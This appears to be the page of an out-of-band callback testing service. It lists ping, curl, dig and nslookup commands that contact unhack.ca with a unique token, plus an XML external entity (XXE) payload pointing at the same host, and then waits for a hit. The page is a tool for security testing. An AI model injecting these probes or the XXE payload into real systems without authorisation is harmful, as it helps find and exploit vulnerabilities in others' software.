$ ping -c1 -p 00290463abb4881f9daa6707aff33200 unhack.ca
 
$ curl http://unhack.ca/p/290463abb4881f9daa6707aff332
 
$ dig 290463abb4881f9daa6707aff332 @unhack.ca
 
$ dig 290463abb4881f9daa6707aff332.ns.unhack.ca
 
C:\> nslookup 290463abb4881f9daa6707aff332 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/290463abb4881f9daa6707aff332">]>
    <foo>&xxe;</foo>
Waiting for ping...